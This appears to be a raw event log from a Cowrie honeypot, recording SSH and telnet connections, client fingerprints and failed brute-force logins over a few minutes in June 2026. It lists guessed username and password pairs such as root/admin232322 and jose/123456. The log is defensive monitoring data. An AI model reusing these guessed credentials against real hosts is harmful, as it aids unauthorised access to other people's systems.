{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8a:87:47:ac:01:4a:a6:97:bf:c3:9a:ec:0f:db:bf:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAumAi5KoJH6P9WA70mEAFxY2MuSLFFpk8VC5Az5QswOAPjJDdjzTbqhqdkH6j4JUh5Ut6Io5dhiXSGp0gU17OUgfkCb9k/yIP8XDlTd6wLhV9r2ykL95UB2lnAaQ1g9qqd7LvwDjus8h4BVh2UEFF8QVxEnO66AhEFHlxZbHqUv9jxEcg1X3gThpSMweWkaQQb0y+7XXscN+7mbYuT+kag+pzW8S5yUodq54c6oVJ5l0x4xZ5HVYzVRuJeJI0TGcNDfc+oNF06isvsLGaxhLkeKrButIe3IRWKBZBpJwZ1M6HBSK7ZA38jBVugga+wT/311TqTzfcqYFOOpx2oFJ52w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8a:87:47:ac:01:4a:a6:97:bf:c3:9a:ec:0f:db:bf:40","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:17:50.995961Z","src_ip":"62.210.207.172","session":"4de198a71884","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8a:87:47:ac:01:4a:a6:97:bf:c3:9a:ec:0f:db:bf:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAumAi5KoJH6P9WA70mEAFxY2MuSLFFpk8VC5Az5QswOAPjJDdjzTbqhqdkH6j4JUh5Ut6Io5dhiXSGp0gU17OUgfkCb9k/yIP8XDlTd6wLhV9r2ykL95UB2lnAaQ1g9qqd7LvwDjus8h4BVh2UEFF8QVxEnO66AhEFHlxZbHqUv9jxEcg1X3gThpSMweWkaQQb0y+7XXscN+7mbYuT+kag+pzW8S5yUodq54c6oVJ5l0x4xZ5HVYzVRuJeJI0TGcNDfc+oNF06isvsLGaxhLkeKrButIe3IRWKBZBpJwZ1M6HBSK7ZA38jBVugga+wT/311TqTzfcqYFOOpx2oFJ52w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:17:50.998993Z","src_ip":"62.210.207.172","session":"4de198a71884","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:17:51.082453Z","src_ip":"62.210.207.172","session":"4de198a71884","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":56770,"dst_ip":"10.17.0.5","dst_port":23,"session":"b74728f25736","protocol":"telnet","message":"New connection: 94.23.66.112:56770 (10.17.0.5:23) [session: b74728f25736]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:17:58.223472Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":47788,"dst_ip":"10.17.0.5","dst_port":22,"session":"b46dbaa39e54","protocol":"ssh","message":"New connection: 27.71.230.31:47788 (10.17.0.5:22) [session: b46dbaa39e54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:17:59.298958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:17:59.434844Z","src_ip":"27.71.230.31","session":"b46dbaa39e54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:17:59.898232Z","src_ip":"27.71.230.31","session":"b46dbaa39e54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin232322","message":"login attempt [root/admin232322] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:18:05.827538Z","src_ip":"27.71.230.31","session":"b46dbaa39e54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.3","message":"Connection lost after 9.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:18:08.572419Z","src_ip":"27.71.230.31","session":"b46dbaa39e54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":58036,"dst_ip":"159.203.135.109","dst_port":22,"session":"a65c5101f313","protocol":"ssh","message":"New connection: 152.32.171.213:58036 (159.203.135.109:22) [session: a65c5101f313]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:18:37.907631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:18:37.911571Z","src_ip":"152.32.171.213","session":"a65c5101f313","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:18:38.129650Z","src_ip":"152.32.171.213","session":"a65c5101f313","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest2","password":"ftptest2","message":"login attempt [ftptest2/ftptest2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:18:39.037128Z","src_ip":"152.32.171.213","session":"a65c5101f313","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:18:40.257325Z","src_ip":"152.32.171.213","session":"a65c5101f313","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":69.36946940422058,"message":"Connection lost after 69 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:19:07.592857Z","src_ip":"94.23.66.112","session":"b74728f25736","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":33222,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc77f8462716","protocol":"ssh","message":"New connection: 27.71.230.31:33222 (159.203.135.109:22) [session: bc77f8462716]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:19:18.735766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:19:18.912034Z","src_ip":"27.71.230.31","session":"bc77f8462716","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:19:19.359831Z","src_ip":"27.71.230.31","session":"bc77f8462716","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":34880,"dst_ip":"10.17.0.5","dst_port":22,"session":"d024df2374c6","protocol":"ssh","message":"New connection: 103.27.238.114:34880 (10.17.0.5:22) [session: d024df2374c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:19:21.633500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:19:21.636385Z","src_ip":"103.27.238.114","session":"d024df2374c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:19:21.907927Z","src_ip":"103.27.238.114","session":"d024df2374c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lion","message":"login attempt [root/lion] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:19:22.727213Z","src_ip":"103.27.238.114","session":"d024df2374c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:19:24.002310Z","src_ip":"103.27.238.114","session":"d024df2374c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin232322","message":"login attempt [root/admin232322] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:19:27.396178Z","src_ip":"27.71.230.31","session":"bc77f8462716","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.6","message":"Connection lost after 11.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:19:30.324217Z","src_ip":"27.71.230.31","session":"bc77f8462716","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":53018,"dst_ip":"159.203.135.109","dst_port":23,"session":"68c290bd8382","protocol":"telnet","message":"New connection: 172.81.62.90:53018 (159.203.135.109:23) [session: 68c290bd8382]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:20:38.528602Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":53024,"dst_ip":"159.203.135.109","dst_port":23,"session":"7976224b1e0b","protocol":"telnet","message":"New connection: 172.81.62.90:53024 (159.203.135.109:23) [session: 7976224b1e0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:20:39.549164Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.29.234.126","src_port":50776,"dst_ip":"159.203.135.109","dst_port":22,"session":"031f22e72aaf","protocol":"ssh","message":"New connection: 46.29.234.126:50776 (159.203.135.109:22) [session: 031f22e72aaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:20:43.772484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:20:43.779764Z","src_ip":"46.29.234.126","session":"031f22e72aaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:20:43.890401Z","src_ip":"46.29.234.126","session":"031f22e72aaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jose","password":"123456","message":"login attempt [jose/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:20:44.364419Z","src_ip":"46.29.234.126","session":"031f22e72aaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:20:45.478061Z","src_ip":"46.29.234.126","session":"031f22e72aaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":53044,"dst_ip":"159.203.135.109","dst_port":23,"session":"5fa18aee5ee7","protocol":"telnet","message":"New connection: 172.81.62.90:53044 (159.203.135.109:23) [session: 5fa18aee5ee7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:20:48.661750Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":53036,"dst_ip":"159.203.135.109","dst_port":23,"session":"99a7be91554f","protocol":"telnet","message":"New connection: 172.81.62.90:53036 (159.203.135.109:23) [session: 99a7be91554f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:20:48.754565Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":39588,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fa77615c51f","protocol":"telnet","message":"New connection: 107.6.151.170:39588 (159.203.135.109:23) [session: 6fa77615c51f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:20:48.908109Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":54176,"dst_ip":"159.203.135.109","dst_port":23,"session":"8189c25d94e1","protocol":"telnet","message":"New connection: 107.6.151.170:54176 (159.203.135.109:23) [session: 8189c25d94e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:21:08.791522Z"}
{"eventid":"cowrie.session.closed","duration":0.005032062530517578,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:21:08.796412Z","src_ip":"107.6.151.170","session":"8189c25d94e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":37836,"dst_ip":"159.203.135.109","dst_port":23,"session":"7cdc4d7e13ea","protocol":"telnet","message":"New connection: 172.81.62.90:37836 (159.203.135.109:23) [session: 7cdc4d7e13ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:21:10.207231Z"}
{"eventid":"cowrie.session.closed","duration":38.994115352630615,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:21:18.543151Z","src_ip":"172.81.62.90","session":"7976224b1e0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.30180382728577,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:21:18.830267Z","src_ip":"172.81.62.90","session":"68c290bd8382","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.34717917442322,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:21:21.255210Z","src_ip":"107.6.151.170","session":"6fa77615c51f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.9749481678009,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:21:23.636565Z","src_ip":"172.81.62.90","session":"5fa18aee5ee7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.007078409194946,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:21:24.761433Z","src_ip":"172.81.62.90","session":"99a7be91554f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":42426,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f68aba3e857","protocol":"telnet","message":"New connection: 172.81.62.90:42426 (159.203.135.109:23) [session: 0f68aba3e857]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:21:31.358225Z"}
{"eventid":"cowrie.session.closed","duration":32.37565064430237,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:21:42.582778Z","src_ip":"172.81.62.90","session":"7cdc4d7e13ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":59362,"dst_ip":"159.203.135.109","dst_port":22,"session":"e890001b5fc3","protocol":"ssh","message":"New connection: 152.32.171.213:59362 (159.203.135.109:22) [session: e890001b5fc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:21:51.449353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:21:51.452817Z","src_ip":"152.32.171.213","session":"e890001b5fc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:21:51.665564Z","src_ip":"152.32.171.213","session":"e890001b5fc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prakash","password":"prakash123","message":"login attempt [prakash/prakash123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:21:52.554194Z","src_ip":"152.32.171.213","session":"e890001b5fc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:21:53.770609Z","src_ip":"152.32.171.213","session":"e890001b5fc3","protocol":"ssh"}
